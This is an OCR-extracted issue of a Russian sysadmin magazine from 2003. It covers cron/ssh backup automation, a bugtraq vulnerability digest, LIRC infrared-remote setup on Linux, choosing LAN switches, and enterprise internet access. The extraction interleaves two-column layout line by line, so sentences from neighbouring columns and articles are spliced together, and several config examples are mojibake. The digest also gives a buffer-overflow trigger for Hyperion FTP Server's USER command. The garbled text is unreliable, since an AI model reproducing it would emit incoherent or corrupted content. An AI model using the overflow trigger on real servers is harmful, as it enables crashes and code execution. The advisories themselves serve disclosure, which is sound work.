пия, и сервер, на который она сохраняется, могут быть Для автоматизации всего процесса резервного копиро-
разнесены на практически любое расстояние и при этом вания потребуется решить одну небольшую проблему: син-
можно обеспечить высокий уровень защиты сервера ре- хронизировать процесс создания промежуточной копии и
зервного копирования, позволяет в принципе обойтись ее переноса. Даже если часы обеих серверов синхронизи-
вообще без съемных носителей или сделать их дополне- рованы, невозможно заранее определить продолжитель-
нием к копиям на жестком диске сервера резервного ко- ность процесса создания промежуточной копии. Можно
пирования. задать заведомо достаточный временной интервал (напри-
Конечно, сервера резервного копирования далеко не мер, один час), а можно оставлять метку о завершении
новость. Выше показано лишь как можно сделать нечто первого процесса и заставить второй процесс ждать появ-
подобное стандартными средствами Unix, не углубляясь ления этой метки. В две строки это выглядит так:
в дебри программирования. Не хватает только одной де-
0 5 * * * cd ~backup; while [ done -ot arcname.tgz ]; ↵
тали: после создания копии она должна быть перенесена do sleep 60; done; umask 077; touch arcname.tgz; ↵
за пределы chroot-окружения пользователя backup. cp arcname.tgz /backup/srv/`date +\%d\%m\%y`.tgz
0 5 * * * tar -I /root/mfiles -cf - | ssh backup@backup ↵
Попутно можно наладить классическую систему рота- "umask 007; cat | gzip > arcname.tgz && sleep 1 && echo > done"
ции резервных копий (понять, что это такое, можно по-
смотрев, что делает с логами newsyslog), и написать для Первая строка должна быть помещена в crontab на
этого небольшой скрипт. Можно поступить проще, при- хосте backup, а вторая – на хосте srv. Предполагается,
менив для именования копий команду date, вычищая впос- что оба запускаются приблизительно одновременно, хотя
ледствии старые копии с помощью find. Последний вари- на самом деле порядок их запуска и временной интервал
ант привлекателен и тем, что не связывает частоту ре- между запусками не так уж важен (в разумных пределах).
зервного копирования с временем хранения копий и та- Проверка на время изменения файла – не самое оче-
ким образом делает возможным откладывание копий в видное решение. Но именно таким способом можно вы-
архив (с возможным сбросом на съемные носители) с полнить все действия на хосте backup, не прибегая к учет-
любой периодичностью. ной записи суперпользователя, а воспользовавшись
Его можно реализовать примерно так: пользователем из той же группы, что и пользователь
backup. Права на домашний каталог пользователя backup
backup# umask 077; cp ~backup/arcname.tgz /backupdrive/ ↵ лучше всего установить в 750.
backup/ arc`date '+%d%m%y'`.tgz
В этих простых примерах не учтена возможность дли-
Имя файла формируется на основе текущей даты, что тельной потери связи между серверами, но это уже забо-
очень удобно. При желании можно добавить еще и время. та системного администратора, как и любая другая адап-
И создание промежуточной копии и перенос копии на тация примеров к специфике своей сети.

30
bugtraq
Переполнение буфера в обработчике Обход каталога и переполнение буфера
сообщений Windows kernel (патч) в SheerDNS
Переполнение буфера обнаружено в обработчике сооб- Несколько уязвимостей обнаружены в SheerDNS. Локаль-
щений об ошибках Windows-ядра. Локальный или удален- ный пользователь может получить root-привилегии на си-
ный атакующий может получить административные при- стеме. Удаленный пользователь, способный загружать
вилегии на уязвимой системе. файлы на систему, может получить root-привилегии.
Windows kernel – ядро операционной системы. Оно обес- Переполнение буфера обнаружено в механизме обра-
печивает службы системного уровня типа управления уст- ботки CNAME-запросов. Локальный пользователь может
ройствами и памятью, распределяет процессорное время сконструировать SheerDNS файл с CNAME-записью дли-
между процессами и управляет обработкой ошибок. нее 256 байт, чтобы получить root-привилегии.
Недостаток обнаружен в пути, которым сообщения об Также сообщается, что уязвимость в функции
ошибках ядра передаются отладчику. В результате успеш- directory_lookup() может использоваться удаленным
ной эксплуатации этой уязвимости, нападающий может пользователем, чтобы прочитать произвольные файлы на
запустить произвольный код на системе и выполнить лю- системе. Имена файла имеют следующую форму:
бое действие, включая удаление данных, добавление учет-
ных записей с административным доступом или перекон- /var/sheerdns/<zone>/<type>
фигурирование системы.
Для осуществления успешного нападения, нападаю- SheerDNS не фильтрует данные, представленные
щий должен быть способен подключиться в интерактив- пользователем, чтобы гарантировать, что читаются над-
ном режиме к системе или к консоли или к терминальной лежащие файлы. Удаленный пользователь может пред-
сессии. Microsoft оценил риск обнаруженной уязвимости ставить специально сформированный CNAME-запрос,
как «Important». чтобы заставить SheerDNS читать произвольные фай-
Уязвимость обнаружена в Microsoft Windows NT 4.0, лы на системе с root-привилегиями. Если целевой файл
Windows 2000 and Windows XP. был предварительно сформирован локальным или уда-
ленным пользователем, можно переполнить буфер и вы-
Переполнение буфера полнить произвольный код с root-привилегиями. Эксп-
в Borland Interbase database server лоит прилагается.
Уязвимость обнаружена в Borland’s Interbase database Уязвимость обнаружена в SheerDNS 1.0.0.
server. Локальный пользователь может выполнить произ-
вольный код с root-привилегиями на системе. Переполнение буфера в команде USER
Secure Network Operations Strategic Reconnaissance Team в Hyperion FTP Server
сообщил, что локальный пользователь может установить Переполнение буфера обнаружено в Hyperion FTP Server.
ISC_LOCK_ENV переменную среды к специально обрабо- Удаленный авторизованный пользователь, включая ано-
танному значению, чтобы вызвать переполнение буфера и нимного пользователя, может выполнить произвольный
выполнение произвольного кода на системе. Переполне- код на системе.
ние происходит, если переменная длиннее 1024 символов. Переполнение буфера происходит при обработке ко-
Уязвимость расположена в функции gds_lock_mgr() манды USER FTP. Удаленный пользователь может послать
в «gds.c» файле. Уязвимость обнаружена в Borland строку, состоящую из 931 символа или больше в каче-
Interbase 6.x. стве аргумента к USER-команде, чтобы аварийно завер-
шить работу FTP-сервера или выполнить произвольный
Уязвимость в Microsoft VM позволяет код с привилегиями FTP-сервера. Пример:
удаленному атакующему выполнять
произвольный код (патч) telnet <server> 21
Microsoft VM – виртуальная Java-машина для Win32® опе- A * 931
рационных систем. Microsoft VM поставляется с большин-
ством версий Windows и включена в большинство версий Уязвимость обнаружена в Hyperion FTP Server 3.0.0.
Internet Explorer.
Новая версия Microsoft VM содержит все ранее опуб- DoS против Microsoft Windows 2003
ликованные исправления для VM и устраняет недавно об- Отказ в обслуживании обнаружен в Microsoft Windows 2003
наруженную проблему безопасности. Новая уязвимость, в «win2k.sys». Пользователь может заставить уязвимое при-
обнаруженная в компоненте ByteCode Verifier (компонен- ложение распечатать не- ASCII символы, что приведет к
та Java-компилятора, которая проверяет допустимость аварийному завершению работы системы.
Java-команд), не правильно проверяет присутствие неко- Как сообщается, Windows NT5.2 приложения, исполь-
торого злонамеренного кода при загрузке Java-апплета. зующие функцию «EngTextOut», могут аварийно завер-
Уязвимость может использоваться для доступа к системе шить работу системы, при попытке распечатать не- ASCII
целевого пользователя через злонамеренную веб-стра- символы. Проблема, по сообщениям, находится в
ницу или HTML-почтовое сообщение. «win32k.sys».
Риск обнаруженной уязвимости Microsoft оценил как Уязвимость обнаружена в Windows 2003, Windows .NET,
«критический». Windows Whistler.

№5(6), май 2003 31


администрирование

ДИСТАНЦИОННОЕ
УПРАВЛЕНИЕ В
LINUX

32
администрирование
Довольно часто настольные компьютеры (не говоря уже
о ноутбуках) оснащаются инфракрасными датчиками.
Иногда датчик подключается к последовательному пор-
ту, а иногда – непосредственно к материнской плате, к
так называемому IR-порту. Помню, пять лет назад у
меня был компьютер с IR-портом (материнская плата
VIA Apollo VPX 5SVA). В то время я не мог найти приме-
нения инфракрасному порту, а сегодня он мне бы очень
пригодился: на новом компьютере не оказалось инф-
ракрасного порта, поэтому пришлось подключить инф-
ракрасный датчик к обыкновенному последовательно-
му порту. В Windows все просто, достаточно только ус-
тановить драйвер и датчик готов к работе. Для настрой-
ки инфракрасного датчика в Linux нужно немного по-
работать и головой, и руками.
Итак, у нас есть компьютер, инфракрасный датчик,
пуль и Linux. Нам еще понадобится программа lirc (Linux
Infrared Remote Control) – программа IR-дистанционного
управления. Данную программу можно скачать с сайта
www.lirc.org. Самая последняя версия 0.6.6. Программу
можно скачать как в виде архива исходных текстов, так и
в пакете RPM. В первом случае вам нужно будет самому
откомпилировать программу, а это означает, что вам по-
надобится установленный компилятор gcc и все необхо-
димые ему пакеты. Если вы скачали RPM-пакет, то для
установки программы вам достаточно установить этот
пакет. На сайте www.lirc.org можно найти только архивы с
исходными текстами программы. Найти RPM-пакет мож-
но с помощью поисковой машины пакетов http://
rpmfind.net. Использовать RPMFind очень просто: введи-
те название пакета (lirc) и нажмите кнопку Find. После
этого вы получите список дистрибутивов, для которых
имеются собранные RPM-пакеты программы. Выберите
свой дистрибутив и скачайте файл (я скачал файл ftp://
rpmfind.net/linux/freshrpms/redhat/9/lirc/lirc-0.6.6-
fr1.i386.rpm).
Установка RPM-пакета программы обычно не вызыва-
ет проблем, поэтому сейчас мы рассмотрим установку
программы из исходных текстов.
Вам нужно скачать файл lirc-0.6.6.tar.bz2 – 384 Кб (или
lirc-0.6.5.tar.bz2 – 311 Кб). Все последующие действия нуж-
но выполнять от имени администратора, то есть пользо-
вателя с UID 0 (обычно это пользователь root). Распакуй-
те архив в каталог /usr/rc/lirc и выполните команду:

./configure --with-driver=<device>

Параметр device зависит от вашего устройства. Вер-


сия 0.6.6 поддерживает следующие устройства:
 animax – AnimaX (Anir Remote Control );
 avermedia – Avermedia (TVCapture & TVPhone (pre 98),
а также некоторые TVCapture98 (ID 0x00021461) и
TVPhone98 (ID 0x00011461) карты);
 bestbuy – BESTBUY (Easy TV (BT848 и BT878));
 caraca – CARACA (RC5 Remote Control);
 chronos – Chronos Video Shuttle II (BTTV ID 0x23);
 cph03x – ASKEY (AS-218 / AS-220 – ASKEY MagicTV);
ДЕНИС КОЛИСНИЧЕНКО  creative – Creative (PC-DVD Remote);
 fly98 – LiveView FlyVideo’98;

№5(6), май 2003 33


администрирование
 generic – основные драйверы (Motorola, NEC, SONY,
RC-5, RECS80, SANYO, DEMON); alias char-major-61 lirc_sir
 hauppauge – Hauppauge (WinTV primo; WinTV pci; WinTV
radio); Драйвер lirc_sir (или lirc_serial) – это драйвер для дат-
 knc_one – KNC ONE (TV Station); чика, подключенного к последовательному порту. Можно
 knc_one – Anubis (Typhoon TView Tuner); также уточнить параметры устройства, например:
 logitech – Logitech (Value Infrared Remote Control);
 packard_bell – Packard Bell Remote (El Cheapo Packard options lirc_serial irq=4 io=0x3e8
Bell Remote);
 pctv (или pinnacle_systems) – Pinnacle Systems (PCTV Затем нужно отключить первый последовательный
Remote); порт (COM1 или /dev/ttyS0). Для этого воспользуемся ко-
 pixelview (или playtv) – Pixelview (Pixelview PlayTV PRO, мандой setserial:
BT878+W/FM, RemoteMaster 2000);
 provideo – 3DeMON ( PV951); setserial /dev/ttyS0 uart none
 realmagic (sigma_designs) – Sigma Designs (REALmagic
remote control); Убедитесь, что каталог /usr/lib (или /usr/loca/lib – для
 silitek – Silitek (SM-1000); старых версий) прописан в файле /etc/ld.so.conf. Если нет,
 technisat – Technisat (MediaFocus PC card); то добавьте его в файл ld.so.conf и введите команду
 tekram – Tekram M230 (ATI 264VT (btt829)); ldconfig. В каталоге /usr/lib находится библиотека lirc_client.
 winfast – Leadtek (Leadtek CoolCommand (Winfast После этого нужно добавить модуль устройства к ядру
TV2000). с помощью программы insmod или же, по примеру
Microsoft, перезагрузить машину:
Я перечислил возможные значения параметра device,
затем следует производитель устройства, а в скобках – под- insmod lirc_serial [sense=N]
держиваемые модели. Если вы все-таки сомневаетесь,
загляните в каталог /usr/src/lirc/remotes (или в каталог /usr/ N может принимать значение либо 0, либо 1 в зависи-
share/doc/lirc-0.6.6/remotes, если вы устанавливали програм- мости от активности вашего IR-приемника. Если актив-
му из RPM-пакета). В этом каталоге вы найдете дополни- ность схемы приемника высока, параметр N = 0, в про-
тельную информацию относительно выбора устройства. тивном случае – 1.
Вернемся к установке программы. Сценарий configure Параметр sense необязательный и использовать его
должен подготовить вашу систему к установке програм- нужно в случае, если программа не смогла автомати-
мы. Для работы программы необходимы следующие биб- чески установить параметры вашего устройства. Для
лиотеки: тестирования вашего IR-приемника используется про-
 glibc версии 2.3 (для lirc версии 0.6.6); грамма mode2.
 svgalib (последняя версия доступна на ftp:// Когда вы нажимаете кнопку STOP (или любую другую)
sunsite.unc.edu/pub/Linux/libs/graphics/); на своем пульте дистанционного управления, приемник
 libirman (http://www.lirc.org/software/snapshots/); получает определенный сигнал. Для сопоставления назва-
 bttv (http://www.strusel007.de/linux/bttv/index.html); ний кнопок (команд) принятым сигналам используется
 исходные тексты и заголовки ядра – они могут пона- конфигурационный файл /etc/lircd.conf (в старых версиях
добиться, если мы будем перекомпилировать ядро, а программы /usr/local/etc/lircd.conf).
также для компилирования модулей lirc. Для записи этого файла используется программа
irrecord:
Если сценарий не нашел нужную программе библио-
теку (или другую программу), вы увидите соответствую- irrecord –d /dev/lirc /etc/lircd.conf
щее сообщение. В этом случае вам нужно будет устано-
вить (или обновить версию) указанную библиотеку и опять Выполните все инструкции программы, по окончании
ввести команду ./configure. работы будет создан конфигурационный файл. Вот при-
Если же сценарий сообщит, что ваша система готова мер конфигурационного файла для приемника Creative
к установке программы, введите команды: PC-DVD Remote:

make begin remote


make install
name CREATIVE_INFRA_DVD
bits 16
flags SPACE_ENC|CONST_LENGTH
После всего этого у вас появится устройство /dev/lirc eps 30
(это же устройство появится при установке из RPM-паке- aeps 100
та). Как оказалось позже, /dev/lirc – это просто ссылка на header 9293 4302
устройство /dev/ttyS0. one 771 1494
zero 771 358
Осталось только настроить это устройство. В файле ptrail 756
/etc/modules.conf (или conf.modules) пропишите строку: pre_data_bits 16

34
администрирование
pre_data 0x8435
gap 108646 begin
toggle_bit 0 prog = irexec
button = PLAY
begin codes config = echo “Âû íàæàëè êíîïêó PLAY”
play 0x00000000000005FA end
stop 0x00000000000016E9
pause 0x00000000000000FF
eject 0x00000000000002FD В заключение приведу несколько важных отличий вер-
last 0x00000000000017E8 сии 0.6.6 от предыдущих версий:
rrev 0x00000000000004FB
ffwd 0x00000000000006F9  Конфигурационные файлы хранятся в каталоге /etc, а
next 0x00000000000001FE не /usr/local/etc.
1 0x00000000000008F7
2 0x00000000000009F6  Библиотека libirc_client находится в каталоге /usr/lib, а
3 0x0000000000000AF5 не /usr/loca/lib.
shift 0x00000000000014EB
4 0x0000000000000CF3  Модули теперь называются lirc_driver (driver зависит
5 0x0000000000000DF2 от типа устройства), а не lirc.o.
6 0x0000000000000EF1
mouse 0x00000000000007F8
7 0x00000000000010EF Ваши вопросы и комментарии присылайте по адресу
8 0x00000000000011EE
9 0x00000000000012ED dhsilabs@mail.ru.
vol+ 0x0000000000000FF0
start 0x00000000000003FC
0 0x00000000000015EA
mute 0x0000000000000BF4
vol- 0x00000000000013EC
end codes
end remote

Если у вас нет времени на работу с утилитой irrecord,


можно использовать один из конфигурационных файлов,
предоставленных разработчиками LIRC. В каталоге /usr/
share/doc/lirc-0.6.6/remotes/ находятся файлы конфигура-
ции практически для всех поддерживаемых устройств.
Однако будьте готовы к тому, что некоторые команды у
вас не будут работать, поскольку невозможно создать
файлы конфигурации для всех существующих моделей
IR-приемников.
После создания файла конфигурации можно попробо-
вать запустить демон lircd. Для этого введите команду:

service lircd start

или

/etc/init.d/lircd start

На этом работу по настройке IR-датчика можно было


бы считать завершенной, но в пакете lirc есть одна «изю-
минка», которую просто невозможно забыть – это про-
грамма irexec. Данная программа позволяет выполнять
программы. Вот формат файла .lircrc (он должен находить-
ся в домашнем каталоге пользователя):

begin
prog = ïðîãðàììà, êîòîðàÿ áóäåò îáðàáàòûâàòü ñîáûòèå
button = êíîïêà, êîòîðóþ íàæàëè
repeat = åñëè 0, òî ïîâòîðíûé ñèãíàë (íàæàòèå êíîïêè)
áóäåò èãíîðèðîâàòüñÿ
config = êîìàíäà
end

Небольшой пример:

begin
prog = irexec
button = 1
repeat = 1
config = echo “Âû íàæàëè êíîïêó 1”
end

№5(6), май 2003 35


администрирование

ЭТО
ДОЛЖЕН
ЗНАТЬ
КАЖДЫЙ,
ИЛИ
ЧЕТЫРЕ
БАЗОВЫХ
ПРИНЦИПА
ВЫБОРА
КОММУТАТОРА
ЛВС
Если вы планируете смонтировать у себя
новую локальную вычислительную сеть
(ЛВС) или модернизировать старую, то вам
необходимо определиться с сетевой
технологией, выбрать тип магистрали
будущей сети, представить принцип
построения серверной подсистемы и
выбрать производителя сетевого
оборудования.

ГЕННАДИЙ КАРПОВ
36
администрирование
Выбор типа сетевой технологии незначительна (обычно ее просто нет), а у коммутаторов она
Еще 5-6 лет назад этот вопрос стоял очень остро и мог редко когда превышает 10%, что с учетом затрат на настрой-
стать судьбоносным для человека, принимающего реше- ку и поддержку сети обеспечивает существенную экономию.
ние по этому вопросу. Существовали конкурирующие ре-
шения: Ethernet, 100VG-AnyLAN, Token Ring, FDDI, АТМ. В Вывод №1
периодических изданиях сторонники разных технологий В настоящее время нецелесообразно создавать ЛВС с
«ломали копья», доказывая преимущества тех или иных применением низкоскоростных технологий и с последую-
решений. Сегодня жизнь все расставила по своим местам: щим переводом их на высокоскоростные. В целом такой
в качестве основной сетевой технологии в рамках LAN ос- проект оказывается чуть ли не вдвое дороже. Гораздо це-
тался только Ethernet. 100VG-AnyLAN прекратил свое су- лесообразнее применение оборудования, допускающего
ществование, Token Ring повсеместно снимается с эксплу- использование каналов с различной пропускной способ-
атации. FDDI и ATM в рамках ЛВС используются как специ- ностью в пределах одного шасси.
альные средства и не являются типичными сетевыми тех-
нологиями. Сейчас при выборе сетевой технологии вопрос Выбор сетевой магистрали
стоит иначе: какой вариант реализации Ethernet-оборудо- Потребности в увеличении пропускной способности ма-
вания выбрать: на базе концентраторов или коммутаторов, гистральных каналов связаны в основном с двумя явно
или даже еще более «тонко»: использовать традиционные просматривающимися тенденциями в архитектуре локаль-
коммутаторы или коммутаторы, ориентированные на со- ных вычислительных сетей: быстрым ростом производи-
единение. Однако не смотря на сужение выбора в сетевых тельности рабочих станций и централизацией данных
технологиях, возможности 100VG-AnyLAN и Token Ring да- вплоть до создания специализированных помещений –
лее будут также проанализированы. Надо знать свою ис- серверных комнат или центров.
торию, ведь она всегда повторяется. Рост производительности средств вычислительной тех-
Для решения проблемы больших задержек в компьютер- ники (в первую очередь дисковых подсистем, а не такто-
ной сети обычно достаточно вместо концентраторов уста- вой частоты ЦП персонального компьютера) на рабочих
новить коммутаторы, подключив к каждому порту последнего местах приводит к тому, что канал поступления инфор-
по одному компьютеру. При этом на рабочих станциях не мации в компьютер или сервер начинает становиться уз-
приходится вносить каких-либо изменений, а изменения в ким местом сетевого комплекса. Это просто результат не-
сетевой инфраструктуре минимальны. Надо только иметь в избежности технического прогресса и бороться с этой тен-
виду, что сегодня производительности даже коммутируемо- денцией бесполезно.
го соединения Ethernet 10Base-T или Token Ring (16 Мбит/с) Изъятие же локальных серверов из состава рабочих
недостаточно для многих приложений и во много раз усту- групп и централизация данных – технологический аспект
пает возможностям 100 Мегабитных каналов, доступных в проблемы, влияющий на выбор типа сетевой магистрали.
сетях FDDI, 100BaseT, 100VG-AnyLAN, АТМ. При централизации данных существенно снижаются рас-
Переход на более скоростные технологии потребует ходы на управление и поддержку, повышается надежность
внесения в сеть большего числа изменений, нежели уста- сети в целом, но в то же время это приводит к увеличе-
новка коммутатора. В этом случае вам потребуется не нию трафика между рабочими группами.
только заменить концентратор, но и установить новые Наиболее развитыми технологиями построения маги-
адаптеры и драйверы для них в каждый компьютер, воз- стральных каналов являются FDDI и АТМ. Они, в конце
можна замена разъемов, кабеля, топологические ограни- концов, разрабатывались специально для этого сектора
чения, а это приведет к необходимости переложить ка- сетевого рынка. Fast Ethernet и Gigabit Ethernet применя-
бель, поставить промежуточные преобразователи (кон- ются для этих целей исторически, ну а 100VG-AnyLAN
вертеры) и целой серии подобных проблем. вообще для этого не приспособлен. До появления недо-
Можно подойти к модернизации ЛВС постепенно, рас- рогих маршрутизаторов с портами 10/100Base-TX Ethernet
тянув во времени процедуру модернизации рабочих стан- слабо подходил для построения территориально распре-
ций. Для этого надо использовать технологию Ethernet деленных магистралей, а сегодня это широко применяю-
10/100Base-TX. В этом случае к скоростным магистралям щееся на практике решение. Если исходить из соображе-
для передачи основного трафика в первую очередь под- ний производительности, то наиболее целесообразно при-
ключают коммутаторы рабочих групп и сервера, т.е. уст- менение Gigabit Ethernet или АТМ, а если из соображений
ройства, которым требуется высокая скорость, малые за- надежности – FDDI. Однако все эти технологии недеше-
держки или передача больших объемов информации. Пе- вы, особенно их реализация на single mode оптическом
ревод же рабочих станций на скоростные каналы осуще- кабеле, а кроме того, при проектировании ЛВС масшта-
ствляется по мере необходимости. бов здания очень часто можно организовать магистраль
Очень удобно применение двухскоростных адаптеров, на объединяющей плате центрального модульного ком-
т.к. режим автоматического определения скорости позво- мутатора – построить коллапсовую магистраль. В этом
ляет использовать такие адаптеры как в старых, так и в случае производительность магистрали будет выше и на-
новых фрагментах сети, обеспечивает эффективность дежнее, чем варианты, основанные как на технологиях
вложения средств, а также упрощает настройку и поддер- Gigabit Ethernet или АТМ, так и FDDI.
жку сети. Разница в цене между высокоскоростными Понимание основных преимуществ той или иной сете-
(100Base-TX) и универсальными адаптерами (10/100) вой технологии, ее назначения в индустрии вычислитель-

№5(6), май 2003 37


администрирование
ных сетей обеспечивает возможность правильного выбо- Коммутаторы стандарта 10Base-T, снабженные 100
ра решения. Для удобства восприятия, резюме по основ- Мегабитными Up-link, не обеспечивают требуемой при свя-
ным сетевым технологиям приведено в таблице 1. зи разноскоростных портов буферизации. Они лишь по-
зволяют объединить между собой сегменты ЛВС, постро-
Вывод №2 енные на разных скоростях. Построить сбалансированную
Целесообразно, если это позволяют условия, использовать по производительности систему на базе подобных ком-
коллапсовую магистраль как самый скоростной и надеж- мутаторов очень трудно. Об этой особенности коммута-
ный вариант построения магистральных соединений. торов необходимо помнить даже при проектировании вы-
сокоскоростной сети “с нуля”, т.к. даже в этом случае очень
Как создать производительную часто приходится применять низкоскоростные устройства
серверную подсистему класса 10Base-T– print server.
Для серверов требуется обычно более производительный О том, насколько серьезно объем буферной памяти
сетевой интерфейс по сравнению с рабочими станциями, влияет на производительность применяемого коммутато-
поскольку они предназначены для одновременного обслу- ра, а следовательно, и на производительность ЛВС, мож-
живания большого числа пользователей сети. Если про- но почерпнуть из приведенной ниже таблицы 2, демонст-
изводительности сервера будет недостаточно, сеть не рирующей самые популярные на конец 1990-х – начало
сможет нормально функционировать. Если производи- 2000-го года коммутаторы (причем сравнение приведено
тельность сервера превосходит возможности сети, сер- для коммутаторов одного класса).
вер будет часть времени простаивать. В этом случае на
него можно возложить дополнительные функции. Вывод №4
В последнее время явно просматривается опережаю- Если речь идет не о простой офисной сети, необходимо
щий рост числа сетевых серверов как специфических се- применение коммутаторов, в конструкции которых зало-
тевых программных продуктов по сравнению с набором жена возможность работы с разными скоростями, а так-
аппаратных платформ для их реализации. Это и традици- же имеющих большие объемы оперативной памяти для
онный файловый сервис, и печать, и работа с базами дан- организации внутренних буферов.
ных, и электронная почта, и программные комплексы обес-
печения безопасности и т. д. и т. п. В результате рост по- И наконец, то,
требностей в производительности каналов связи, обслу- о чем почти все всегда забывают
живающих сервера, нередко опережает коммуникацион- Когда все уже продумано, заказано и внедрено в эксплуата-
ные возможности сети. цию, часто оказывается, что заказчик не доволен произво-
дительностью сети. Обычно это бывает в двух типах сетей:
Вывод №3 1. Сеть из нескольких машин, собранная на одном комму-
Целесообразно увеличивать количество серверов в сети. таторе.
Нецелесообразно устанавливать специфические про- 2. Большая разветвленная сеть с централизованной сер-
граммные продукты на один сервер. Сервера к концент- верной подсистемой, собранной на одном коммутаторе.
ратору должны подключаться с применением самых ско-
ростных технологий. Дисковые подсистемы серверов дол- В первом случае сеть в своем составе имеет обычно
жны быть самыми производительными в сети. На объеме один сервер. В данной ситуации, действительно, замена
оперативной памяти для серверов экономить нельзя. концентратора на коммутатор практически не дает выиг-
рыша в производительности сети по той причине, что все
Коммутаторы клиенты все равно замыкаются на одну связь – один порт
с автоопределением скорости сетевой карты на сервере, который в данном случае выс-
Одним из основных вопросов при модернизации ЛВС явля- тупает в роли «бутылочного горлышка». В подобной то-
ется простота и надежность объединения привносимых вы- пологии разделения потоков информации не происходит.
сокоскоростных коммутаторов с ранее применявшимися Если в таких сетях нет трафика между компьютерами, как
низкоскоростными. При этом необходимо понимать, что за- в обычной одноранговой сети, то применение коммутато-
казчик ожидает существенного повышения производитель- ра с технической точки зрения не оправдано.
ности своей сети при переходе на высокоскоростные техно- Во втором случае заказчик нередко наблюдает совсем
логии сразу же после замены корневого коммутатора. другую ситуацию: центральный коммутатор явно не справ-
Однако, как правило, при выборе коммутатора руко- ляется с потоками информации, т.к. до модернизации
водствуются в основном финансовыми соображениями и (обычно в этом случае локальные сервера были рассре-
почему-то не принимают во внимание особенностей двух- доточены по рабочим группам) приложения на клиентс-
скоростных сетей: наличие в каналах связи пакетов с раз- ких машинах работали быстрее. Причина подобного в схе-
ными скоростями требует их буферизации в коммутато- мотехническом решении коммутатора. Обычно коммута-
рах. В результате память коммутатора начинает играть тор рабочей группы имеет один центральный процессор.
критически важную роль в обеспечении работоспособно- В этом случае он в состоянии закоммутировать между
сти сети. И это даже в ненагруженных сетях. Для эффек- собой в каждый момент времени только 2 порта, если ко-
тивной и надежной неблокируемой коммутации размер личество процессоров равно 2-м, то 2 или 4 порта и т. д.
буферов должен быть достаточно большим. Ну и в пределе (для 24-х портового коммутатора), если

38
администрирование
Таблица 1. Сравнение высокоскоростных технологий.

Таблица 2. Сравнительная оценка производительности коммутаторов среднего класса (класса рабочей группы).

количество процессоров равно 24-м, то коммутатор в со- процессоров и объем буфера – это те характеристики,
стоянии одновременно поддерживать соединение по схе- которые как раз и определяют тактико-технические дан-
ме «12 на 12». К сожалению, информацию о количестве ные производимого им оборудования, сегмент потенци-
центральных процессоров в конкретных реализациях ком- ального рынка, на который он (производитель) может пре-
мутаторов найти очень трудно. Вычислить их количество, тендовать.
используя такие характеристики как Switch Bandwidth или
Bus Capacity, точно нельзя, но оценить в принципе мож- Главный вывод
но. С другой стороны, эта задача практически не связана Доверьте модернизацию вашей сети профессионалам или
с конкретными моделями конкретных производителей. не жалейте средств на обучение собственных специалис-
Каждый производитель позиционирует свое оборудова- тов, пусть они лучше экспериментируют на лабораторных
ние для конкретного сегмента рынка ЛВС. Количество работах в учебном центре, а не с вашими деньгами.

№5(6), май 2003 39


администрирование

ОРГАНИЗАЦИЯ
ДОСТУПА В ИНТЕРНЕТ
НА ПРЕДПРИЯТИЯХ

АЛЕКСЕЙ ФЁДОРОВ
40
администрирование
В настоящее время, в связи с увеличением количества Интернет, встает более важный вопрос определения не-
организаций, которым необходимо иметь доступ к веб-стра- обходимого вам типа соединения. Так как в нашей статье
ницам других компаний, использовать электронную почту речь идет об организации доступа в Интернет для пред-
и ICQ, эта проблема весьма актуальна. Трудно предста- приятий, то DialUp-доступ сразу же отпадает в связи с ог-
вить организацию, не использующую ресурсы всемирной раничениями по скорости. ISDN тоже теперь редкость, хотя
паутины в своей повседневной деятельности. Однако с по- был достаточно популярен некоторое время назад.
явлением новых технологий и их внедрением в производ- Наиболее дешевым и практичным для предприятий яв-
ство встает вопрос собственной безопасности. И если рань- ляется ADSL (Asymmetric Digital Subscriber Line) доступ.
ше все документы хранились в бумажной форме, то те- Технология ADSL позволяет передавать информацию
перь фирмы используют в большинстве своем электрон- к пользователю примерно до 6-7 Mбит/сек и обратно от
ные носители информации, которые располагаются чаще пользователя примерно 640 Кбит/сек. При использовании
всего на компьютерах, имеющих доступ в Интернет (будь ресурсов сети Интернет сотрудниками компании как
то сервера или рабочие станции). Желая получить доступ нельзя лучше походит ADSL, т.к. большая часть трафика
к ресурсам всемирной паутины, следует задуматься, а на- является как раз входящей.
дежно ли защищены компьютеры от вторжения извне. Не Для установки ADSL зачастую достаточно наличия обыч-
требует доказательств тот факт, что потеря или кража ин- ной телефонной линии. Причем благодаря выделению те-
формации в наше время может нанести серьезный ущерб лефонного потока частотными разделителями, ваш теле-
деятельности организации или даже привести к ее разо- фонный аппарат, «висящий» на линии, остается свободным.
рению. Именно о том, как обеспечить безопасное подклю- Таким образом, вы можете использовать телефонную связь
чение к сети Интернет и пойдет речь в этой статье. и работать в Интернете одновременно. Скорость подключе-
В первую очередь необходимо выбрать провайдера и тип ния по ADSL будет зависеть от параметров вашей телефон-
соединения с сетью. При выборе провайдера следует выяс- ной линии (протяженности, качества кабеля и т. д.).
нить, каким образом обеспечивается его соединение с Ин- Как видно, подключение по ADSL-технологии являет-
тернетом: имеет ли он прямую ветвь в M9 или является чьим- ся оптимальным решением для организаций, поэтому
либо посредником. Предпочтительнее работать без посред- можно остановиться на нем. Хотя, возможно, что для ре-
ников: и цены будут ниже, и возможностей больше. Для на- шения встающих перед вами задач более приемлемым
чала попросите у предполагаемого провайдера тестовый будет другое подключение. Выбрав провайдера и тип под-
доступ (пусть даже модемный) и постарайтесь посмотреть, ключения, может показаться, что нам уже можно подклю-
с какой скоростью проходят пакеты к российским и зару- чаться к сети, однако следует вспомнить о безопасности.
бежным узлам. Посмотрите на TTL ping пакетов. Например: Обычно провайдер выдает вам при подключении к сети
Интернет сразу блок из нескольких IP-адресов. Вы може-
те поставить маршрутизатор и назначить всем машинам
в сети компании IP-адреса из данного блока. Однако та-
ким образом все компьютеры становятся «видны» в Ин-
тернете, что не очень безопасно.
В этом случае лучшим вариантом будет установка шлю-
за между локальной сетью компании и Интернетом. После
установки шлюза ваши компьютеры в локальной сети не
Попробуйте скачать файлы с общедоступных FTP-сер- будут так видны с внешней стороны. В дальнейшем вы мо-
веров и посмотреть на скорость (правда, для такого тести- жете столкнуться с проблемами защиты самого шлюза.
рования модемный тестовый доступ – не лучший вариант). Опишем процесс установки шлюза на PC (персональ-
И самое главное, посмотрите на маршруты пакетов, ном компьютере). Можно, конечно, воспользоваться го-
идущих в Интернет. Протестируйте маршруты к различ- товыми аппаратными решениями различных компаний
ным серверам в сети (как к зарубежным, так и к отече- (например, CISCO), но их оборудование достаточно до-
ственным), чтобы узнать, каким образом сам провайдер рого по сравнению с аналогично собранным и настроен-
подключен к Интернету. Это можно сделать командой ным на ПК. Кроме того, оно менее гибко в дальнейшей
